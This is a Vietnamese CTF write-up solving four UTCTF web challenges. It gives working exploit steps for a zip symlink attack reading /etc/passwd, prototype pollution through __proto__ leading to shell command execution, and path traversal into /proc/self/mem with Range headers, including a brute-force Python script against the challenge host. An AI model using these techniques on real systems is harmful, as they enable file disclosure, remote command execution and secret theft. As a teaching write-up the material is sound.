# 1. Web/Beginner: Off-Brand Cookie Clicker


Như trên hình có thể thấy thì ta phải nhấp chuột hơn 10 triệu lần thì mới ra kết quả :v
Crtl + U để xem source thử xem sao

Ở đây nó bảo là nếu ta click đủ 10 triệu lần thì nó sẽ gửi một request `POST /click` để lấy flag.
Cần gì nó gửi, cái này mình cũng tự làm được :v
Payload như sau :

`Flag: utflag{y0u_cl1ck_pr3tty_f4st}`
# 2. Web/Schrödinger

Chall cho ta trang web như sau :

Đây là một challenge blackbox
Trang web này có chức năng upload một file zip, sau đó nó sẽ giải nén và in nội dung trong file zip ra.
Oke thì đầu tiên mình sẽ test thử chức năng của nó hoạt động ra sao.
Tạo một file test.txt sau đó zip nó lại và upload lên.

Kết quả :

**Nhận xét** : Kiểu chall mà cho upload file zip rồi giải nén ra như này thì khả năng cao nó sẽ dính vuln Symlink attack hoặc Zipslip.
Theo như phần mô tả của challenge thì flag sẽ nằm tại :
`/home/user_name/flag.txt`
(Bonus : Mình không đọc kĩ phần mô tả này nên stuck khá lâu mới nhận ra)
Mà điều đặc biệt là user_name thì mình không biết, bây giờ guessing kiểu gì đây ta!!!
Yeah chắc chắn là không thể guessing được rồi, ngồi nghịch mấy file mặc định của hệ thống thì mình phát hiện ra file `/etc/passwd`, khi mình `cat /etc/passwd`

Thì phần dưới cùng của /etc/passwd nó có hiển thị ra được user_name. Đến đây với ý tưởng này thì dễ rồi.
Đầu tiên ta đọc file /etc/passwd bằng cách sử dụng symlink attack thôi. (Xem lại cách khai thác kĩ thuật này tại đây https://hackmd.io/@Nightcore/H1TtxG9YT
- Step 1: `ln -s /etc/passwd link`

- Step 2: `zip -y ziplink.zip link`

- Step 3: Upload file zip vừa tạo lên

Thu được user_name

- Step 4: Tạo một symlink khác trỏ tới `/home/copenhagen/flag.txt` là xong

Upload lên và ta thu được flag

`Flag: utflag{No_Observable_Cats_Were_Harmed}`
# 3. Web/Easy Mergers v0.1

Đây là một challenge whitebox có cấu trúc thư mục như sau :

Sau đây là những file quan trọng :
<details>
<summary>app.js</summary>
```javascript
var express = require('express');
const cp = require('child_process');
var app = express();
const cookieParser = require('cookie-parser');
const session = require('express-session');
app.use(cookieParser());
app.use(session({secret: "not actually the secret"}));
// var userArray = [];
var userCount = 1;
var userCompanies = [[]];
app.set('view engine', 'ejs');
app.use(express.json());
app.get('/', function (req, res) {
if (!req.session.init) {
req.session.init = true;
req.session.uid = userCount++;
userCompanies[req.session.uid] = [];
}
res.render("index", {userID:req.session.uid});
})
app.post('/api/makeCompany', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
return;
}
let data = req.body;
if (data.attributes === undefined || data.values === undefined ||
!Array.isArray(data.attributes) || !Array.isArray(data.values)) {
res.end('attributes and values are incorrectly set');
return;
}
let cNum = userCompanies[req.session.uid].length;
let cObj = new Object();
for (let j = 0; j < Math.min(data.attributes.length, data.values.length); j++) {
if (data.attributes[j] != '' && data.attributes[j] != null) {
cObj[data.attributes[j]] = data.values[j];
}
}
cObj.cid = cNum;
userCompanies[req.session.uid][cNum] = cObj;
res.end(cNum + "");
})
app.post('/api/absorbCompany/:cid', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
return;
}
try {
var cid = parseInt(req.params.cid);
} catch (e) {
res.end('bad argument');
return;
}
if (cid < 0 || cid >= userCompanies[req.session.uid].length) {
res.end('not a valid company');
return;
}
let data = req.body;
if (data.attributes === undefined || data.values === undefined ||
!Array.isArray(data.attributes) || !Array.isArray(data.values)) {
res.end('attributes and values are incorrectly set');
return;
}
let child = cp.fork("merger.js");
child.on('message', function (m) {
let cNum = userCompanies[req.session.uid].length;
let message = "";
if (m.merged != undefined) {
m.merged.cid = cNum;
userCompanies[req.session.uid][cNum] = m.merged;
}
if (m.err) {
message += m.err;
} else {
message += m.stdout;
message += m.stderr;
}
res.end(JSON.stringify(m));
child.kill();
})
let dataObj = new Object()
dataObj.data = data;
dataObj.orig = userCompanies[req.session.uid][cid]
child.send(dataObj);
})
app.get('/api/getAll', function (req, res) {
if (!req.session.init) {
res.end("invalid session");
}
let id = req.session.uid;
res.end(JSON.stringify(userCompanies[id]));
return;
})
var server = app.listen(8725, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
```
</details>
<details>
<summary>merger.js</summary>
```javascript
function isObject(obj) {
return typeof obj === 'function' || typeof obj === 'object';
}
var secret = {}
const {exec} = require('child_process');
process.on('message', function (m) {
let data = m.data;
let orig = m.orig;
for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
for (const key in data.values[k]) {
orig[data.attributes[k]][key] = data.values[k][key];
}
} else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
} else {
orig[data.attributes[k]] = data.values[k];
}
}
cmd = "./merger.sh";
if (secret.cmd != null) {
cmd = secret.cmd;
}
var test = exec(cmd, (err, stdout, stderr) => {
retObj = {};
retObj['merged'] = orig;
retObj['err'] = err;
retObj['stdout'] = stdout;
retObj['stderr'] = stderr;
process.send(retObj);
});
console.log(test);
});
```
</details>
<details>
<summary>merger.sh</summary>
```bash
echo "Sending a request to merge"
echo "doing some more complicated legal stuff"
echo "bypassing the required authorities"
echo "done"
```
</details>
Vuln chủ yếu xảy ra ở file `merger.js` thông qua `POST /api/absorbCompany/:cid` nằm tại đoạn này :


Có thể thấy tại dòng 26 nếu mà `secret.cmd != null` thì biến `cmd = secret.cmd` và thực thi lênh shell `exec(cmd)`. Oke thế thì mục đích cuối cùng của ta là sẽ làm cho biến `cmd` này có giá trị là `cat flag.txt` (`cmd = "cat flag.txt"`)
Như ta thấy thì biến `secret` mà một object được khởi tạo chẳng có attribute(thuộc tính) nào cả, thế thì attribute `cmd` ở đâu để ta gán nó thành `cat flag.txt` bây giờ.
Ý tưởng ở trên của ta sẽ được thực hiện hóa thông qua một lỗ hỗng gọi là Prototype Pollution -> làm cho object `secret` có được attribute(secret.cmd = "cat flag.txt")
Đọc sơ tại đây để biến về cơ bản của lổ hổng này :
https://www.w3schools.com/js/js_object_definition.asp
https://nhattruong.blog/2023/10/01/lo-hong-prototype-pollution-o-nhiem-nguyen-mau-toan-tap/
**Một đối tượng a được liên kết với một đối tượng b thì đối tượng b được gọi là nguyên mẫu (prototype) của a.**
Ví dụ nguyên mẫu của một vài kiểu dữ liệu :
```javascript
let myObject = {};
Object.getPrototypeOf(myObject); // Object.prototype
let myString = "";
Object.getPrototypeOf(myString); // String.prototype
let myArray = [];
Object.getPrototypeOf(myArray); // Array.prototype
let myNumber = 1;
Object.getPrototypeOf(myNumber); // Number.prototype
```
**Object tự động kế thừa các thuộc tính của nguyên mẫu.**
Ví dụ: Nguyên mẫu `String.prototype` có một method là `removeWhitespace` :
```javascript
String.prototype.removeWhitespace = function(){
// remove leading and trailing whitespace
}
```
Nó sẽ được kế thừa và sử dụng như sau :
```javascript
let searchTerm = " example ";
searchTerm.removeWhitespace(); // "example"
```
**Xét ví dụ sau :**

Từ ví dụ trên, ta có thể truy cập nguyên mẫu của Object bằng `__proto__` như sau :
```javascript
username.__proto__ // String.prototype
username.__proto__.__proto__ // Object.prototype
username.__proto__.__proto__.__proto__ // null
```
Oke kiến thức cần chuẩn bị nhiêu đó là đủ, bây giờ hãy quay lại với challenge
`var secret = {}`
Như ta có thể thấy secret này là một object. Vậy nguyên mẫu của nó là `Object.prototype`, lúc này ta chỉ cần cập nhật `Object.prototype` thêm vào một thuộc tính (attribute) là `cmd = cat flag.txt` là xong. Nhưng mà ta có thể cập nhật qua đâu bây giờ?
Xem kĩ source code thì ta thấy đoạn này :

Ta có thể hình dung qua ví dụ sau :

Như ví dụ trên thì đã lợi dụng `ob` để cập nhật `Object.prototype`-> thêm vào thuộc tính(attribute).
Lúc này biến `secret` vừa tạo có thể kế thừa được thuộc tính `cmd` của nguyên mẫu `Object.prototype`. Như ví dụ trên nó đã in ra được giá trị của thuôc tính `cmd`
Oke vậy payload của ta chỉ đơn giản như sau:

**Giải thích cách hoạt động của payload**, ta có :
`orig[data.attributes[k]][key] = data.values[k][key];`
- `data.attributes[k]` = `__proto__`
- `data.values[k]` = `{"cmd":"cat flag.txt"}`
Lệnh trên tương đương :
`orig["__proto__"]]["cmd"] = "cat flag.txt"`
Mà `orig` là một object có nguyên mẫu là `Object.prototype`. Cho nên lệnh trên đã cập nhật thêm thuộc tính `cmd` vào `Object.prototype` -> biến `secret` kế thừa thuộc tính `cmd` từ `Object.prototype` -> Payload thành công.
`Flag: utflag{p0lluted_b4ckdoorz_and_m0r3}`
# 4. Web/Home on the Range

Chall cung cấp cho ta trang web như sau

Nhìn vào ảnh trên thì ta thấy rằng hiện tại ta đang ở trong thư mục `www`, bằng bản năng sát thủ mình thử path traversal `../` xem sao

Oke không có filter gì ở đây cả, bằng vài thao tác mình đã có được source của nó

<details>
<summary>server.py</summary>
```python
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import os
from html import escape
from mimetypes import guess_type
import re
from random import randbytes
import signal
import sys
import threading
with open("/setup/flag.txt") as f:
the_flag = f.read()
os.remove("/setup/flag.txt")
def process_range_request(ranges, content_type, file_len, write_header, write_bytes, write_file_range):
boundary = randbytes(64).hex()
for [first, last] in (ranges if ranges != [] else [[None, None]]):
count = None
if first is None:
if last is None:
first = 0
else:
first = file_len - last
count = last
elif last is not None:
count = last - first + 1
if (count is not None and count < 0) or first < 0:
return False
content_range_header = "bytes " + str(first) + "-" + (str(first + count - 1 if count is not None else file_len - 1)) + "/" + str(file_len)
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode())
if content_type:
write_bytes(b"\r\nContent-Type: " + content_type.encode())
write_bytes(b"\r\nContent-Range: " + content_range_header.encode())
write_bytes(b"\r\n\r\n")
else:
if content_type:
write_header("Content-Type", content_type)
if len(ranges) > 0:
write_header("Content-Range", content_range_header)
if not write_file_range(first, count):
return False
if len(ranges) > 1:
write_bytes(b"\r\n--" + boundary.encode() + b"--\r\n")
write_header("Content-Type", "multipart/byteranges; boundary=" + boundary)
elif len(ranges) == 0:
write_header("Accept-Ranges", "bytes")
return True
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
return self.try_serve_file(self.path[1:])
def try_serve_file(self, f):
if f == "":
f = "."
try:
status_code = 200
range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none"))
ranges = []
if range_match:
status_code = 206
ranges = []
for range in self.headers.get("range").split("=")[1].split(", "):
left, right = range.split("-")
new_range = [None, None]
if left:
new_range[0] = int(left)
if right:
new_range[1] = int(right)
if not left and not right:
# invalid
ranges = [[None, None]]
break
ranges.append(new_range)
self.log_message("Serving %s ranges %s", f, repr(ranges))
(content_type, _) = guess_type(f)
with open(f, "rb") as io:
file_length = os.stat(f).st_size
headers = []
chunks = []
def check_file_chunk(first, count):
if count is None:
if first < 0:
return False
io.seek(first)
if io.read(1) == b"":
return False
else:
if count <= 0 or first < 0:
return False
io.seek(first + count - 1)
if io.read(1) == b"":
return False
chunks.append({"type": "file", "first": first, "count": count})
return True
ok = process_range_request(ranges, content_type, file_length,
lambda k, v: headers.append((k, v)),
lambda b: chunks.append({"type": "bytes", "bytes": b}),
check_file_chunk)
if not ok:
self.send_response(416)
self.send_header("Content-Range", "bytes */" + str(file_length))
self.end_headers()
return
content_length = 0
for chunk in chunks:
if chunk["type"] == "bytes":
content_length += len(chunk["bytes"])
elif chunk["type"] == "file":
content_length += chunk["count"] if chunk["count"] is not None else file_length - chunk["first"]
self.send_response(status_code)
for (k, v) in headers:
self.send_header(k, v)
self.send_header("Content-Length", str(content_length))
self.end_headers()
for chunk in chunks:
if chunk["type"] == "bytes":
self.wfile.write(chunk["bytes"])
elif chunk["type"] == "file":
io.seek(chunk["first"])
count = chunk["count"]
buf_size = 1024 * 1024
while count is None or count > 0:
chunk = io.read(min(count if count is not None else buf_size, buf_size))
self.wfile.write(chunk)
if count is not None:
count -= len(chunk)
if len(chunk) == 0:
break
except FileNotFoundError:
print(f)
self.send_error(404)
except IsADirectoryError:
if not f.endswith("/") and f != ".":
self.send_response(303)
self.send_header("Location", "/" + f + "/")
self.end_headers()
elif os.path.isfile(f + "/index.html"):
return self.try_serve_file(f + "/index.html")
else:
dir_name = os.path.basename(os.path.abspath(f))
if dir_name == "":
dir_name = "/"
body = (
"<!DOCTYPE html><html><head><title>Directory listing of "
+ escape(dir_name)
+ "</title><body><h1>Directory listing of " + escape(dir_name) + "</h1><ul>"
+ "".join(["<li><a href=\"" + escape(child, quote=True) + "\">" + escape(child) + "</a></li>" for child in os.listdir(f)])
+ "</ul></body></html>"
).encode("utf-8")
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.end_headers()
self.wfile.write(body)
pass
except OSError as e:
self.send_error(500, None, e.strerror)
server = ThreadingHTTPServer(("0.0.0.0", 3000), Handler)
def exit_handler(signum, frame):
sys.stderr.write("Received SIGTERM\n")
# Needs to run in another thread to avoid blocking the main thread
def shutdown_server():
server.shutdown()
shutdown_thread = threading.Thread(target=shutdown_server)
shutdown_thread.start()
signal.signal(signal.SIGTERM, exit_handler)
sys.stderr.write("Server ready\n")
server.serve_forever()
with open("/setup/flag.txt", "w") as f:
f.write(the_flag)
```
</details>
Đọc source thì mình thấy được đường dẫn flag, nhưng nó lại bị xóa đi ngay lập tức, và **flag được lưu lại trong biến `the_flag`**
Do đó cách duy nhất để có được flag chính là phân tích the process memory. Để làm nó thì ta dựa vào lổ hổng path traversal để truy cập vào `/proc/self/...`
Trước tiên, chúng ta sẽ xem xét tệp /proc/self/maps ([docs](https://www.baeldung.com/linux/proc-id-maps)) là một "symlink" đến `/proc/$PID/maps`. Mỗi hàng trong `/proc/$PID/maps` mô tả một khu vực của bộ nhớ ảo liên tục trong một quá trình hoặc luồng(thread). Mỗi hàng có các trường sau:

Ví dụ :

**Thì nói tóm gọn lại là tại đây lưu trữ những phạm vi địa chỉ bộ nhớ của tiến trình (biến, hằng số,...) và dĩ nhiên là biến `the_flag` nó sẽ nằm ở một trong những vùng địa chỉ trên :>**
Giả sử ta có địa chỉ của biến `the_flag` rồi thì đọc giá trị của nó qua đâu?
Câu trả lời là qua `/proc/self/mem`
Khi gửi yêu cầu HTTP tới `/proc/self/mem`, ta cần chỉ định các phạm vi địa chỉ bộ nhớ mà ta muốn đọc trong [RANGE header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Range).
`Range: bytes=<begin>-<end>`
(Trong source code challenge, server có chấp nhận RANGE header, maybe đây là một phần hint :>)
Điều này sẽ chỉ định cho hệ thống Linux chỉ đọc các khu vực bộ nhớ trong phạm vi đó và trả về dữ liệu tương ứng.
>The Range HTTP request header chỉ định các phần của một tài nguyên mà máy chủ nên trả về. Các phần có thể được yêu cầu cùng một lúc trong một Range header và máy chủ có thể gửi lại các phần này dưới dạng một multipart document. Nếu máy chủ gửi lại các phần, nó sử dụng status code 206 Partial Content cho respone. Nếu các phần không hợp lệ, máy chủ sẽ trả về mã lỗi 416 Range Not Satisfiable.
Cơ mà ta không biết được `the_flag` nằm trong vùng địa chỉ nào, cho nên ta phải bruteforce tất cả địa chỉ đến khi nào tìm được thì thôi.
Copy đống response từ `GET /../../proc/self/maps` vào file -> chỉnh sửa file lưu địa chỉ dưới dạng decimal (vì header range chỉ chấp nhận hệ 10) -> load payload -> intruder để bruteforce là được.
Ví dụ ta lưu đống địa chỉ đó vào file maps.txt, sau đó chạy script sau để gen ra file ranges.txt

Script gen file ranges.txt :
```python
with open('maps.txt', 'r') as old_file, open('ranges.txt', 'w') as new_file:
for line in old_file:
ranges = line.strip().split()[0].split("-")
new_line = f"{int(ranges[0], 16)}-{int(ranges[1], 16) - 1}"
new_file.write(new_line + '\n')
```

Giải thích về việc địa chỉ kết thúc trừ đi cho 1

Lúc này dùng file ranges.txt để load payload vào intruder burpsuite, với request phía dưới
```
GET /../../proc/self/mem HTTP/1.1
Host: guppy.utctf.live:7884
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Range: bytes=§0-100§
```
Sau đó cài đặt Grep-Match là được

Kết quả :

Còn nếu không muốn dùng burp suite thì, chạy script sau (nhưng cách này sẽ lâu hơn dùng burp suite :V, có lẽ dùng thread để code thì sẽ nhanh hơn mà lười quá) :
```python
import socket
# Dùng socket module vì module request nhận về Conten-Lenght: 0 sẽ tự động bỏ qua
def http_get(host, port, request):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client_socket.connect((host, port))
client_socket.sendall(request.encode())
response = b''
while True:
part = client_socket.recv(4096)
if not part:
break
response += part
return response
finally:
client_socket.close()
def main():
host = "guppy.utctf.live"
port = 7884
http_request = f"GET /../../proc/self/maps HTTP/1.1\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n"
response = http_get(host, port, http_request).decode()
content = response.split("\r\n\r\n")[1] #Bỏ qua các http header
lines = content.split("\n")
for line in lines:
range = line.split()[0].split("-")
start = int(range[0], 16)
end = int(range[1], 16) - 1
print(f"Range: bytes={start}-{end}")
get_flag = f"GET /../../proc/self/mem HTTP/1.1\r\nHost: {host}:{port}\r\nRange: bytes={start}-{end}\r\nConnection: close\r\n\r\n"
flag_response = str(http_get(host, port, get_flag))
if "utflag{" in flag_response:
print('utflag{' + flag_response.split('utflag{')[1].split('}')[0] + '}')
break
if __name__ == "__main__":
main()
```

`Flag: utflag{do_u_want_a_piece_of_me}`